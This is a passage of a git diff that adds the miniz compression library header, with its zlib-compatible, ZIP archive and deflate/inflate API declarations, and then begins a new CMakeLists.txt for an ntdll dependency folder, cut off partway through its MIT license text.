input is needed but not available, and/or there's more output to be written but the output buffer is full. +// MZ_STREAM_END if all needed input has been consumed and all output bytes have been written. For zlib streams, the adler-32 of the decompressed data has also been verified. +// MZ_STREAM_ERROR if the stream is bogus. +// MZ_DATA_ERROR if the deflate stream is invalid. +// MZ_PARAM_ERROR if one of the parameters is invalid. +// MZ_BUF_ERROR if no forward progress is possible because the input buffer is empty but the inflater needs more input to continue, or if the output buffer is not large enough. Call mz_inflate() again +// with more input data, or with more room in the output buffer (except when using single call decompression, described above). +int mz_inflate(mz_streamp pStream, int flush); + +// Deinitializes a decompressor. +int mz_inflateEnd(mz_streamp pStream); + +// Single-call decompression. +// Returns MZ_OK on success, or one of the error codes from mz_inflate() on failure. +int mz_uncompress(unsigned char *pDest, mz_ulong *pDest_len, const unsigned char *pSource, mz_ulong source_len); + +// Returns a string description of the specified error code, or NULL if the error code is invalid. +const char *mz_error(int err); + +// Redefine zlib-compatible names to miniz equivalents, so miniz.c can be used as a drop-in replacement for the subset of zlib that miniz.c supports. +// Define MINIZ_NO_ZLIB_COMPATIBLE_NAMES to disable zlib-compatibility if you use zlib in the same project. +#ifndef MINIZ_NO_ZLIB_COMPATIBLE_NAMES + typedef unsigned char Byte; + typedef unsigned int uInt; + typedef mz_ulong uLong; + typedef Byte Bytef; + typedef uInt uIntf; + typedef char charf; + typedef int intf; + typedef void *voidpf; + typedef uLong uLongf; + typedef void *voidp; + typedef void *const voidpc; + #define Z_NULL 0 + #define Z_NO_FLUSH MZ_NO_FLUSH + #define Z_PARTIAL_FLUSH MZ_PARTIAL_FLUSH + #define Z_SYNC_FLUSH MZ_SYNC_FLUSH + #define Z_FULL_FLUSH MZ_FULL_FLUSH + #define Z_FINISH MZ_FINISH + #define Z_BLOCK MZ_BLOCK + #define Z_OK MZ_OK + #define Z_STREAM_END MZ_STREAM_END + #define Z_NEED_DICT MZ_NEED_DICT + #define Z_ERRNO MZ_ERRNO + #define Z_STREAM_ERROR MZ_STREAM_ERROR + #define Z_DATA_ERROR MZ_DATA_ERROR + #define Z_MEM_ERROR MZ_MEM_ERROR + #define Z_BUF_ERROR MZ_BUF_ERROR + #define Z_VERSION_ERROR MZ_VERSION_ERROR + #define Z_PARAM_ERROR MZ_PARAM_ERROR + #define Z_NO_COMPRESSION MZ_NO_COMPRESSION + #define Z_BEST_SPEED MZ_BEST_SPEED + #define Z_BEST_COMPRESSION MZ_BEST_COMPRESSION + #define Z_DEFAULT_COMPRESSION MZ_DEFAULT_COMPRESSION + #define Z_DEFAULT_STRATEGY MZ_DEFAULT_STRATEGY + #define Z_FILTERED MZ_FILTERED + #define Z_HUFFMAN_ONLY MZ_HUFFMAN_ONLY + #define Z_RLE MZ_RLE + #define Z_FIXED MZ_FIXED + #define Z_DEFLATED MZ_DEFLATED + #define Z_DEFAULT_WINDOW_BITS MZ_DEFAULT_WINDOW_BITS + #define alloc_func mz_alloc_func + #define free_func mz_free_func + #define internal_state mz_internal_state + #define z_stream mz_stream + #define deflateInit mz_deflateInit + #define deflateInit2 mz_deflateInit2 + #define deflateReset mz_deflateReset + #define deflate mz_deflate + #define deflateEnd mz_deflateEnd + #define deflateBound mz_deflateBound + #define compress mz_compress + #define compress2 mz_compress2 + #define compressBound mz_compressBound + #define inflateInit mz_inflateInit + #define inflateInit2 mz_inflateInit2 + #define inflate mz_inflate + #define inflateEnd mz_inflateEnd + #define uncompress mz_uncompress + #define crc32 mz_crc32 + #define adler32 mz_adler32 + #define MAX_WBITS 15 + #define MAX_MEM_LEVEL 9 + #define zError mz_error + #define ZLIB_VERSION MZ_VERSION + #define ZLIB_VERNUM MZ_VERNUM + #define ZLIB_VER_MAJOR MZ_VER_MAJOR + #define ZLIB_VER_MINOR MZ_VER_MINOR + #define ZLIB_VER_REVISION MZ_VER_REVISION + #define ZLIB_VER_SUBREVISION MZ_VER_SUBREVISION + #define zlibVersion mz_version + #define zlib_version mz_version() +#endif // #ifndef MINIZ_NO_ZLIB_COMPATIBLE_NAMES + +#endif // MINIZ_NO_ZLIB_APIS + +// ------------------- Types and macros + +typedef unsigned char mz_uint8; +typedef signed short mz_int16; +typedef unsigned short mz_uint16; +typedef unsigned int mz_uint32; +typedef unsigned int mz_uint; +typedef long long mz_int64; +typedef unsigned long long mz_uint64; +typedef int mz_bool; + +#define MZ_FALSE (0) +#define MZ_TRUE (1) + +// An attempt to work around MSVC's spammy "warning C4127: conditional expression is constant" message. +#ifdef _MSC_VER + #define MZ_MACRO_END while (0, 0) +#else + #define MZ_MACRO_END while (0) +#endif + +// ------------------- ZIP archive reading/writing + +#ifndef MINIZ_NO_ARCHIVE_APIS + +enum +{ + MZ_ZIP_MAX_IO_BUF_SIZE = 64*1024, + MZ_ZIP_MAX_ARCHIVE_FILENAME_SIZE = 260, + MZ_ZIP_MAX_ARCHIVE_FILE_COMMENT_SIZE = 256 +}; + +typedef struct +{ + mz_uint32 m_file_index; + mz_uint32 m_central_dir_ofs; + mz_uint16 m_version_made_by; + mz_uint16 m_version_needed; + mz_uint16 m_bit_flag; + mz_uint16 m_method; +#ifndef MINIZ_NO_TIME + time_t m_time; +#endif + mz_uint32 m_crc32; + mz_uint64 m_comp_size; + mz_uint64 m_uncomp_size; + mz_uint16 m_internal_attr; + mz_uint32 m_external_attr; + mz_uint64 m_local_header_ofs; + mz_uint32 m_comment_size; + char m_filename[MZ_ZIP_MAX_ARCHIVE_FILENAME_SIZE]; + char m_comment[MZ_ZIP_MAX_ARCHIVE_FILE_COMMENT_SIZE]; +} mz_zip_archive_file_stat; + +typedef size_t (*mz_file_read_func)(void *pOpaque, mz_uint64 file_ofs, void *pBuf, size_t n); +typedef size_t (*mz_file_write_func)(void *pOpaque, mz_uint64 file_ofs, const void *pBuf, size_t n); + +struct mz_zip_internal_state_tag; +typedef struct mz_zip_internal_state_tag mz_zip_internal_state; + +typedef enum +{ + MZ_ZIP_MODE_INVALID = 0, + MZ_ZIP_MODE_READING = 1, + MZ_ZIP_MODE_WRITING = 2, + MZ_ZIP_MODE_WRITING_HAS_BEEN_FINALIZED = 3 +} mz_zip_mode; + +typedef struct mz_zip_archive_tag +{ + mz_uint64 m_archive_size; + mz_uint64 m_central_directory_file_ofs; + mz_uint m_total_files; + mz_zip_mode m_zip_mode; + + mz_uint m_file_offset_alignment; + + mz_alloc_func m_pAlloc; + mz_free_func m_pFree; + mz_realloc_func m_pRealloc; + void *m_pAlloc_opaque; + + mz_file_read_func m_pRead; + mz_file_write_func m_pWrite; + void *m_pIO_opaque; + + mz_zip_internal_state *m_pState; + +} mz_zip_archive; + +typedef enum +{ + MZ_ZIP_FLAG_CASE_SENSITIVE = 0x0100, + MZ_ZIP_FLAG_IGNORE_PATH = 0x0200, + MZ_ZIP_FLAG_COMPRESSED_DATA = 0x0400, + MZ_ZIP_FLAG_DO_NOT_SORT_CENTRAL_DIRECTORY = 0x0800 +} mz_zip_flags; + +// ZIP archive reading + +// Inits a ZIP archive reader. +// These functions read and validate the archive's central directory. +mz_bool mz_zip_reader_init(mz_zip_archive *pZip, mz_uint64 size, mz_uint32 flags); +mz_bool mz_zip_reader_init_mem(mz_zip_archive *pZip, const void *pMem, size_t size, mz_uint32 flags); + +#ifndef MINIZ_NO_STDIO +mz_bool mz_zip_reader_init_file(mz_zip_archive *pZip, const char *pFilename, mz_uint32 flags); +#endif + +// Returns the total number of files in the archive. +mz_uint mz_zip_reader_get_num_files(mz_zip_archive *pZip); + +// Returns detailed information about an archive file entry. +mz_bool mz_zip_reader_file_stat(mz_zip_archive *pZip, mz_uint file_index, mz_zip_archive_file_stat *pStat); + +// Determines if an archive file entry is a directory entry. +mz_bool mz_zip_reader_is_file_a_directory(mz_zip_archive *pZip, mz_uint file_index); +mz_bool mz_zip_reader_is_file_encrypted(mz_zip_archive *pZip, mz_uint file_index); + +// Retrieves the filename of an archive file entry. +// Returns the number of bytes written to pFilename, or if filename_buf_size is 0 this function returns the number of bytes needed to fully store the filename. +mz_uint mz_zip_reader_get_filename(mz_zip_archive *pZip, mz_uint file_index, char *pFilename, mz_uint filename_buf_size); + +// Attempts to locates a file in the archive's central directory. +// Valid flags: MZ_ZIP_FLAG_CASE_SENSITIVE, MZ_ZIP_FLAG_IGNORE_PATH +// Returns -1 if the file cannot be found. +int mz_zip_reader_locate_file(mz_zip_archive *pZip, const char *pName, const char *pComment, mz_uint flags); + +// Extracts a archive file to a memory buffer using no memory allocation. +mz_bool mz_zip_reader_extract_to_mem_no_alloc(mz_zip_archive *pZip, mz_uint file_index, void *pBuf, size_t buf_size, mz_uint flags, void *pUser_read_buf, size_t user_read_buf_size); +mz_bool mz_zip_reader_extract_file_to_mem_no_alloc(mz_zip_archive *pZip, const char *pFilename, void *pBuf, size_t buf_size, mz_uint flags, void *pUser_read_buf, size_t user_read_buf_size); + +// Extracts a archive file to a memory buffer. +mz_bool mz_zip_reader_extract_to_mem(mz_zip_archive *pZip, mz_uint file_index, void *pBuf, size_t buf_size, mz_uint flags); +mz_bool mz_zip_reader_extract_file_to_mem(mz_zip_archive *pZip, const char *pFilename, void *pBuf, size_t buf_size, mz_uint flags); + +// Extracts a archive file to a dynamically allocated heap buffer. +void *mz_zip_reader_extract_to_heap(mz_zip_archive *pZip, mz_uint file_index, size_t *pSize, mz_uint flags); +void *mz_zip_reader_extract_file_to_heap(mz_zip_archive *pZip, const char *pFilename, size_t *pSize, mz_uint flags); + +// Extracts a archive file using a callback function to output the file's data. +mz_bool mz_zip_reader_extract_to_callback(mz_zip_archive *pZip, mz_uint file_index, mz_file_write_func pCallback, void *pOpaque, mz_uint flags); +mz_bool mz_zip_reader_extract_file_to_callback(mz_zip_archive *pZip, const char *pFilename, mz_file_write_func pCallback, void *pOpaque, mz_uint flags); + +#ifndef MINIZ_NO_STDIO +// Extracts a archive file to a disk file and sets its last accessed and modified times. +// This function only extracts files, not archive directory records. +mz_bool mz_zip_reader_extract_to_file(mz_zip_archive *pZip, mz_uint file_index, const char *pDst_filename, mz_uint flags); +mz_bool mz_zip_reader_extract_file_to_file(mz_zip_archive *pZip, const char *pArchive_filename, const char *pDst_filename, mz_uint flags); +#endif + +// Ends archive reading, freeing all allocations, and closing the input archive file if mz_zip_reader_init_file() was used. +mz_bool mz_zip_reader_end(mz_zip_archive *pZip); + +// ZIP archive writing + +#ifndef MINIZ_NO_ARCHIVE_WRITING_APIS + +// Inits a ZIP archive writer. +mz_bool mz_zip_writer_init(mz_zip_archive *pZip, mz_uint64 existing_size); +mz_bool mz_zip_writer_init_heap(mz_zip_archive *pZip, size_t size_to_reserve_at_beginning, size_t initial_allocation_size); + +#ifndef MINIZ_NO_STDIO +mz_bool mz_zip_writer_init_file(mz_zip_archive *pZip, const char *pFilename, mz_uint64 size_to_reserve_at_beginning); +#endif + +// Converts a ZIP archive reader object into a writer object, to allow efficient in-place file appends to occur on an existing archive. +// For archives opened using mz_zip_reader_init_file, pFilename must be the archive's filename so it can be reopened for writing. If the file can't be reopened, mz_zip_reader_end() will be called. +// For archives opened using mz_zip_reader_init_mem, the memory block must be growable using the realloc callback (which defaults to realloc unless you've overridden it). +// Finally, for archives opened using mz_zip_reader_init, the mz_zip_archive's user provided m_pWrite function cannot be NULL. +// Note: In-place archive modification is not recommended unless you know what you're doing, because if execution stops or something goes wrong before +// the archive is finalized the file's central directory will be hosed. +mz_bool mz_zip_writer_init_from_reader(mz_zip_archive *pZip, const char *pFilename); + +// Adds the contents of a memory buffer to an archive. These functions record the current local time into the archive. +// To add a directory entry, call this method with an archive name ending in a forwardslash with empty buffer. +// level_and_flags - compression level (0-10, see MZ_BEST_SPEED, MZ_BEST_COMPRESSION, etc.) logically OR'd with zero or more mz_zip_flags, or just set to MZ_DEFAULT_COMPRESSION. +mz_bool mz_zip_writer_add_mem(mz_zip_archive *pZip, const char *pArchive_name, const void *pBuf, size_t buf_size, mz_uint level_and_flags); +mz_bool mz_zip_writer_add_mem_ex(mz_zip_archive *pZip, const char *pArchive_name, const void *pBuf, size_t buf_size, const void *pComment, mz_uint16 comment_size, mz_uint level_and_flags, mz_uint64 uncomp_size, mz_uint32 uncomp_crc32); + +#ifndef MINIZ_NO_STDIO +// Adds the contents of a disk file to an archive. This function also records the disk file's modified time into the archive. +// level_and_flags - compression level (0-10, see MZ_BEST_SPEED, MZ_BEST_COMPRESSION, etc.) logically OR'd with zero or more mz_zip_flags, or just set to MZ_DEFAULT_COMPRESSION. +mz_bool mz_zip_writer_add_file(mz_zip_archive *pZip, const char *pArchive_name, const char *pSrc_filename, const void *pComment, mz_uint16 comment_size, mz_uint level_and_flags); +#endif + +// Adds a file to an archive by fully cloning the data from another archive. +// This function fully clones the source file's compressed data (no recompression), along with its full filename, extra data, and comment fields. +mz_bool mz_zip_writer_add_from_zip_reader(mz_zip_archive *pZip, mz_zip_archive *pSource_zip, mz_uint file_index); + +// Finalizes the archive by writing the central directory records followed by the end of central directory record. +// After an archive is finalized, the only valid call on the mz_zip_archive struct is mz_zip_writer_end(). +// An archive must be manually finalized by calling this function for it to be valid. +mz_bool mz_zip_writer_finalize_archive(mz_zip_archive *pZip); +mz_bool mz_zip_writer_finalize_heap_archive(mz_zip_archive *pZip, void **pBuf, size_t *pSize); + +// Ends archive writing, freeing all allocations, and closing the output file if mz_zip_writer_init_file() was used. +// Note for the archive to be valid, it must have been finalized before ending. +mz_bool mz_zip_writer_end(mz_zip_archive *pZip); + +// Misc. high-level helper functions: + +// mz_zip_add_mem_to_archive_file_in_place() efficiently (but not atomically) appends a memory blob to a ZIP archive. +// level_and_flags - compression level (0-10, see MZ_BEST_SPEED, MZ_BEST_COMPRESSION, etc.) logically OR'd with zero or more mz_zip_flags, or just set to MZ_DEFAULT_COMPRESSION. +mz_bool mz_zip_add_mem_to_archive_file_in_place(const char *pZip_filename, const char *pArchive_name, const void *pBuf, size_t buf_size, const void *pComment, mz_uint16 comment_size, mz_uint level_and_flags); + +// Reads a single file from an archive into a heap block. +// Returns NULL on failure. +void *mz_zip_extract_archive_file_to_heap(const char *pZip_filename, const char *pArchive_name, size_t *pSize, mz_uint zip_flags); + +#endif // #ifndef MINIZ_NO_ARCHIVE_WRITING_APIS + +#endif // #ifndef MINIZ_NO_ARCHIVE_APIS + +// ------------------- Low-level Decompression API Definitions + +// Decompression flags used by tinfl_decompress(). +// TINFL_FLAG_PARSE_ZLIB_HEADER: If set, the input has a valid zlib header and ends with an adler32 checksum (it's a valid zlib stream). Otherwise, the input is a raw deflate stream. +// TINFL_FLAG_HAS_MORE_INPUT: If set, there are more input bytes available beyond the end of the supplied input buffer. If clear, the input buffer contains all remaining input. +// TINFL_FLAG_USING_NON_WRAPPING_OUTPUT_BUF: If set, the output buffer is large enough to hold the entire decompressed stream. If clear, the output buffer is at least the size of the dictionary (typically 32KB). +// TINFL_FLAG_COMPUTE_ADLER32: Force adler-32 checksum computation of the decompressed bytes. +enum +{ + TINFL_FLAG_PARSE_ZLIB_HEADER = 1, + TINFL_FLAG_HAS_MORE_INPUT = 2, + TINFL_FLAG_USING_NON_WRAPPING_OUTPUT_BUF = 4, + TINFL_FLAG_COMPUTE_ADLER32 = 8 +}; + +// High level decompression functions: +// tinfl_decompress_mem_to_heap() decompresses a block in memory to a heap block allocated via malloc(). +// On entry: +// pSrc_buf, src_buf_len: Pointer and size of the Deflate or zlib source data to decompress. +// On return: +// Function returns a pointer to the decompressed data, or NULL on failure. +// *pOut_len will be set to the decompressed data's size, which could be larger than src_buf_len on uncompressible data. +// The caller must call mz_free() on the returned block when it's no longer needed. +void *tinfl_decompress_mem_to_heap(const void *pSrc_buf, size_t src_buf_len, size_t *pOut_len, int flags); + +// tinfl_decompress_mem_to_mem() decompresses a block in memory to another block in memory. +// Returns TINFL_DECOMPRESS_MEM_TO_MEM_FAILED on failure, or the number of bytes written on success. +#define TINFL_DECOMPRESS_MEM_TO_MEM_FAILED ((size_t)(-1)) +size_t tinfl_decompress_mem_to_mem(void *pOut_buf, size_t out_buf_len, const void *pSrc_buf, size_t src_buf_len, int flags); + +// tinfl_decompress_mem_to_callback() decompresses a block in memory to an internal 32KB buffer, and a user provided callback function will be called to flush the buffer. +// Returns 1 on success or 0 on failure. +typedef int (*tinfl_put_buf_func_ptr)(const void* pBuf, int len, void *pUser); +int tinfl_decompress_mem_to_callback(const void *pIn_buf, size_t *pIn_buf_size, tinfl_put_buf_func_ptr pPut_buf_func, void *pPut_buf_user, int flags); + +struct tinfl_decompressor_tag; typedef struct tinfl_decompressor_tag tinfl_decompressor; + +// Max size of LZ dictionary. +#define TINFL_LZ_DICT_SIZE 32768 + +// Return status. +typedef enum +{ + TINFL_STATUS_BAD_PARAM = -3, + TINFL_STATUS_ADLER32_MISMATCH = -2, + TINFL_STATUS_FAILED = -1, + TINFL_STATUS_DONE = 0, + TINFL_STATUS_NEEDS_MORE_INPUT = 1, + TINFL_STATUS_HAS_MORE_OUTPUT = 2 +} tinfl_status; + +// Initializes the decompressor to its initial state. +#define tinfl_init(r) do { (r)->m_state = 0; } MZ_MACRO_END +#define tinfl_get_adler32(r) (r)->m_check_adler32 + +// Main low-level decompressor coroutine function. This is the only function actually needed for decompression. All the other functions are just high-level helpers for improved usability. +// This is a universal API, i.e. it can be used as a building block to build any desired higher level decompression API. In the limit case, it can be called once per every byte input or output. +tinfl_status tinfl_decompress(tinfl_decompressor *r, const mz_uint8 *pIn_buf_next, size_t *pIn_buf_size, mz_uint8 *pOut_buf_start, mz_uint8 *pOut_buf_next, size_t *pOut_buf_size, const mz_uint32 decomp_flags); + +// Internal/private bits follow. +enum +{ + TINFL_MAX_HUFF_TABLES = 3, TINFL_MAX_HUFF_SYMBOLS_0 = 288, TINFL_MAX_HUFF_SYMBOLS_1 = 32, TINFL_MAX_HUFF_SYMBOLS_2 = 19, + TINFL_FAST_LOOKUP_BITS = 10, TINFL_FAST_LOOKUP_SIZE = 1 << TINFL_FAST_LOOKUP_BITS +}; + +typedef struct +{ + mz_uint8 m_code_size[TINFL_MAX_HUFF_SYMBOLS_0]; + mz_int16 m_look_up[TINFL_FAST_LOOKUP_SIZE], m_tree[TINFL_MAX_HUFF_SYMBOLS_0 * 2]; +} tinfl_huff_table; + +#if MINIZ_HAS_64BIT_REGISTERS + #define TINFL_USE_64BIT_BITBUF 1 +#endif + +#if TINFL_USE_64BIT_BITBUF + typedef mz_uint64 tinfl_bit_buf_t; + #define TINFL_BITBUF_SIZE (64) +#else + typedef mz_uint32 tinfl_bit_buf_t; + #define TINFL_BITBUF_SIZE (32) +#endif + +struct tinfl_decompressor_tag +{ + mz_uint32 m_state, m_num_bits, m_zhdr0, m_zhdr1, m_z_adler32, m_final, m_type, m_check_adler32, m_dist, m_counter, m_num_extra, m_table_sizes[TINFL_MAX_HUFF_TABLES]; + tinfl_bit_buf_t m_bit_buf; + size_t m_dist_from_out_buf_start; + tinfl_huff_table m_tables[TINFL_MAX_HUFF_TABLES]; + mz_uint8 m_raw_header[4], m_len_codes[TINFL_MAX_HUFF_SYMBOLS_0 + TINFL_MAX_HUFF_SYMBOLS_1 + 137]; +}; + +// ------------------- Low-level Compression API Definitions + +// Set TDEFL_LESS_MEMORY to 1 to use less memory (compression will be slightly slower, and raw/dynamic blocks will be output more frequently). +#define TDEFL_LESS_MEMORY 0 + +// tdefl_init() compression flags logically OR'd together (low 12 bits contain the max. number of probes per dictionary search): +// TDEFL_DEFAULT_MAX_PROBES: The compressor defaults to 128 dictionary probes per dictionary search. 0=Huffman only, 1=Huffman+LZ (fastest/crap compression), 4095=Huffman+LZ (slowest/best compression). +enum +{ + TDEFL_HUFFMAN_ONLY = 0, TDEFL_DEFAULT_MAX_PROBES = 128, TDEFL_MAX_PROBES_MASK = 0xFFF +}; + +// TDEFL_WRITE_ZLIB_HEADER: If set, the compressor outputs a zlib header before the deflate data, and the Adler-32 of the source data at the end. Otherwise, you'll get raw deflate data. +// TDEFL_COMPUTE_ADLER32: Always compute the adler-32 of the input data (even when not writing zlib headers). +// TDEFL_GREEDY_PARSING_FLAG: Set to use faster greedy parsing, instead of more efficient lazy parsing. +// TDEFL_NONDETERMINISTIC_PARSING_FLAG: Enable to decrease the compressor's initialization time to the minimum, but the output may vary from run to run given the same input (depending on the contents of memory). +// TDEFL_RLE_MATCHES: Only look for RLE matches (matches with a distance of 1) +// TDEFL_FILTER_MATCHES: Discards matches <= 5 chars if enabled. +// TDEFL_FORCE_ALL_STATIC_BLOCKS: Disable usage of optimized Huffman tables. +// TDEFL_FORCE_ALL_RAW_BLOCKS: Only use raw (uncompressed) deflate blocks. +// The low 12 bits are reserved to control the max # of hash probes per dictionary lookup (see TDEFL_MAX_PROBES_MASK). +enum +{ + TDEFL_WRITE_ZLIB_HEADER = 0x01000, + TDEFL_COMPUTE_ADLER32 = 0x02000, + TDEFL_GREEDY_PARSING_FLAG = 0x04000, + TDEFL_NONDETERMINISTIC_PARSING_FLAG = 0x08000, + TDEFL_RLE_MATCHES = 0x10000, + TDEFL_FILTER_MATCHES = 0x20000, + TDEFL_FORCE_ALL_STATIC_BLOCKS = 0x40000, + TDEFL_FORCE_ALL_RAW_BLOCKS = 0x80000 +}; + +// High level compression functions: +// tdefl_compress_mem_to_heap() compresses a block in memory to a heap block allocated via malloc(). +// On entry: +// pSrc_buf, src_buf_len: Pointer and size of source block to compress. +// flags: The max match finder probes (default is 128) logically OR'd against the above flags. Higher probes are slower but improve compression. +// On return: +// Function returns a pointer to the compressed data, or NULL on failure. +// *pOut_len will be set to the compressed data's size, which could be larger than src_buf_len on uncompressible data. +// The caller must free() the returned block when it's no longer needed. +void *tdefl_compress_mem_to_heap(const void *pSrc_buf, size_t src_buf_len, size_t *pOut_len, int flags); + +// tdefl_compress_mem_to_mem() compresses a block in memory to another block in memory. +// Returns 0 on failure. +size_t tdefl_compress_mem_to_mem(void *pOut_buf, size_t out_buf_len, const void *pSrc_buf, size_t src_buf_len, int flags); + +// Compresses an image to a compressed PNG file in memory. +// On entry: +// pImage, w, h, and num_chans describe the image to compress. num_chans may be 1, 2, 3, or 4. +// The image pitch in bytes per scanline will be w*num_chans. The leftmost pixel on the top scanline is stored first in memory. +// level may range from [0,10], use MZ_NO_COMPRESSION, MZ_BEST_SPEED, MZ_BEST_COMPRESSION, etc. or a decent default is MZ_DEFAULT_LEVEL +// If flip is true, the image will be flipped on the Y axis (useful for OpenGL apps). +// On return: +// Function returns a pointer to the compressed data, or NULL on failure. +// *pLen_out will be set to the size of the PNG image file. +// The caller must mz_free() the returned heap block (which will typically be larger than *pLen_out) when it's no longer needed. +void *tdefl_write_image_to_png_file_in_memory_ex(const void *pImage, int w, int h, int num_chans, size_t *pLen_out, mz_uint level, mz_bool flip); +void *tdefl_write_image_to_png_file_in_memory(const void *pImage, int w, int h, int num_chans, size_t *pLen_out); + +// Output stream interface. The compressor uses this interface to write compressed data. It'll typically be called TDEFL_OUT_BUF_SIZE at a time. +typedef mz_bool (*tdefl_put_buf_func_ptr)(const void* pBuf, int len, void *pUser); + +// tdefl_compress_mem_to_output() compresses a block to an output stream. The above helpers use this function internally. +mz_bool tdefl_compress_mem_to_output(const void *pBuf, size_t buf_len, tdefl_put_buf_func_ptr pPut_buf_func, void *pPut_buf_user, int flags); + +enum { TDEFL_MAX_HUFF_TABLES = 3, TDEFL_MAX_HUFF_SYMBOLS_0 = 288, TDEFL_MAX_HUFF_SYMBOLS_1 = 32, TDEFL_MAX_HUFF_SYMBOLS_2 = 19, TDEFL_LZ_DICT_SIZE = 32768, TDEFL_LZ_DICT_SIZE_MASK = TDEFL_LZ_DICT_SIZE - 1, TDEFL_MIN_MATCH_LEN = 3, TDEFL_MAX_MATCH_LEN = 258 }; + +// TDEFL_OUT_BUF_SIZE MUST be large enough to hold a single entire compressed output block (using static/fixed Huffman codes). +#if TDEFL_LESS_MEMORY +enum { TDEFL_LZ_CODE_BUF_SIZE = 24 * 1024, TDEFL_OUT_BUF_SIZE = (TDEFL_LZ_CODE_BUF_SIZE * 13 ) / 10, TDEFL_MAX_HUFF_SYMBOLS = 288, TDEFL_LZ_HASH_BITS = 12, TDEFL_LEVEL1_HASH_SIZE_MASK = 4095, TDEFL_LZ_HASH_SHIFT = (TDEFL_LZ_HASH_BITS + 2) / 3, TDEFL_LZ_HASH_SIZE = 1 << TDEFL_LZ_HASH_BITS }; +#else +enum { TDEFL_LZ_CODE_BUF_SIZE = 64 * 1024, TDEFL_OUT_BUF_SIZE = (TDEFL_LZ_CODE_BUF_SIZE * 13 ) / 10, TDEFL_MAX_HUFF_SYMBOLS = 288, TDEFL_LZ_HASH_BITS = 15, TDEFL_LEVEL1_HASH_SIZE_MASK = 4095, TDEFL_LZ_HASH_SHIFT = (TDEFL_LZ_HASH_BITS + 2) / 3, TDEFL_LZ_HASH_SIZE = 1 << TDEFL_LZ_HASH_BITS }; +#endif + +// The low-level tdefl functions below may be used directly if the above helper functions aren't flexible enough. The low-level functions don't make any heap allocations, unlike the above helper functions. +typedef enum +{ + TDEFL_STATUS_BAD_PARAM = -2, + TDEFL_STATUS_PUT_BUF_FAILED = -1, + TDEFL_STATUS_OKAY = 0, + TDEFL_STATUS_DONE = 1, +} tdefl_status; + +// Must map to MZ_NO_FLUSH, MZ_SYNC_FLUSH, etc. enums +typedef enum +{ + TDEFL_NO_FLUSH = 0, + TDEFL_SYNC_FLUSH = 2, + TDEFL_FULL_FLUSH = 3, + TDEFL_FINISH = 4 +} tdefl_flush; + +// tdefl's compression state structure. +typedef struct +{ + tdefl_put_buf_func_ptr m_pPut_buf_func; + void *m_pPut_buf_user; + mz_uint m_flags, m_max_probes[2]; + int m_greedy_parsing; + mz_uint m_adler32, m_lookahead_pos, m_lookahead_size, m_dict_size; + mz_uint8 *m_pLZ_code_buf, *m_pLZ_flags, *m_pOutput_buf, *m_pOutput_buf_end; + mz_uint m_num_flags_left, m_total_lz_bytes, m_lz_code_buf_dict_pos, m_bits_in, m_bit_buffer; + mz_uint m_saved_match_dist, m_saved_match_len, m_saved_lit, m_output_flush_ofs, m_output_flush_remaining, m_finished, m_block_index, m_wants_to_finish; + tdefl_status m_prev_return_status; + const void *m_pIn_buf; + void *m_pOut_buf; + size_t *m_pIn_buf_size, *m_pOut_buf_size; + tdefl_flush m_flush; + const mz_uint8 *m_pSrc; + size_t m_src_buf_left, m_out_buf_ofs; + mz_uint8 m_dict[TDEFL_LZ_DICT_SIZE + TDEFL_MAX_MATCH_LEN - 1]; + mz_uint16 m_huff_count[TDEFL_MAX_HUFF_TABLES][TDEFL_MAX_HUFF_SYMBOLS]; + mz_uint16 m_huff_codes[TDEFL_MAX_HUFF_TABLES][TDEFL_MAX_HUFF_SYMBOLS]; + mz_uint8 m_huff_code_sizes[TDEFL_MAX_HUFF_TABLES][TDEFL_MAX_HUFF_SYMBOLS]; + mz_uint8 m_lz_code_buf[TDEFL_LZ_CODE_BUF_SIZE]; + mz_uint16 m_next[TDEFL_LZ_DICT_SIZE]; + mz_uint16 m_hash[TDEFL_LZ_HASH_SIZE]; + mz_uint8 m_output_buf[TDEFL_OUT_BUF_SIZE]; +} tdefl_compressor; + +// Initializes the compressor. +// There is no corresponding deinit() function because the tdefl API's do not dynamically allocate memory. +// pBut_buf_func: If NULL, output data will be supplied to the specified callback. In this case, the user should call the tdefl_compress_buffer() API for compression. +// If pBut_buf_func is NULL the user should always call the tdefl_compress() API. +// flags: See the above enums (TDEFL_HUFFMAN_ONLY, TDEFL_WRITE_ZLIB_HEADER, etc.) +tdefl_status tdefl_init(tdefl_compressor *d, tdefl_put_buf_func_ptr pPut_buf_func, void *pPut_buf_user, int flags); + +// Compresses a block of data, consuming as much of the specified input buffer as possible, and writing as much compressed data to the specified output buffer as possible. +tdefl_status tdefl_compress(tdefl_compressor *d, const void *pIn_buf, size_t *pIn_buf_size, void *pOut_buf, size_t *pOut_buf_size, tdefl_flush flush); + +// tdefl_compress_buffer() is only usable when the tdefl_init() is called with a non-NULL tdefl_put_buf_func_ptr. +// tdefl_compress_buffer() always consumes the entire input buffer. +tdefl_status tdefl_compress_buffer(tdefl_compressor *d, const void *pIn_buf, size_t in_buf_size, tdefl_flush flush); + +tdefl_status tdefl_get_prev_return_status(tdefl_compressor *d); +mz_uint32 tdefl_get_adler32(tdefl_compressor *d); + +// Can't use tdefl_create_comp_flags_from_zip_params if MINIZ_NO_ZLIB_APIS isn't defined, because it uses some of its macros. +#ifndef MINIZ_NO_ZLIB_APIS +// Create tdefl_compress() flags given zlib-style compression parameters. +// level may range from [0,10] (where 10 is absolute max compression, but may be much slower on some files) +// window_bits may be -15 (raw deflate) or 15 (zlib) +// strategy may be either MZ_DEFAULT_STRATEGY, MZ_FILTERED, MZ_HUFFMAN_ONLY, MZ_RLE, or MZ_FIXED +mz_uint tdefl_create_comp_flags_from_zip_params(int level, int window_bits, int strategy); +#endif // #ifndef MINIZ_NO_ZLIB_APIS + +#ifdef __cplusplus +} +#endif + +#endif // MINIZ_HEADER_INCLUDED + +// ------------------- End of Header: Implementation follows. (If you only want the header, define MINIZ_HEADER_FILE_ONLY.) diff --git a/dep/ntdll/CMakeLists.txt b/dep/ntdll/CMakeLists.txt new file mode 100644 index 0000000..8fb4d37 --- /dev/null +++ b/dep/ntdll/CMakeLists.txt @@ -0,0 +1,27 @@ +# +# MIT License +# +# Copyright (c) 2019 Rokas Kupstys +# +# Permission is hereby granted, free of charge, to any person obtaining a +# copy of this software and associated documentation files (the "Software"), +# to deal in the Software without restriction, including without limitation +# the rights to use, copy, modify, merge, publish, distribute, sublicense, +# and/or sell copies of the Software, and to permit persons to whom the +# Software is furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in +# all copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT 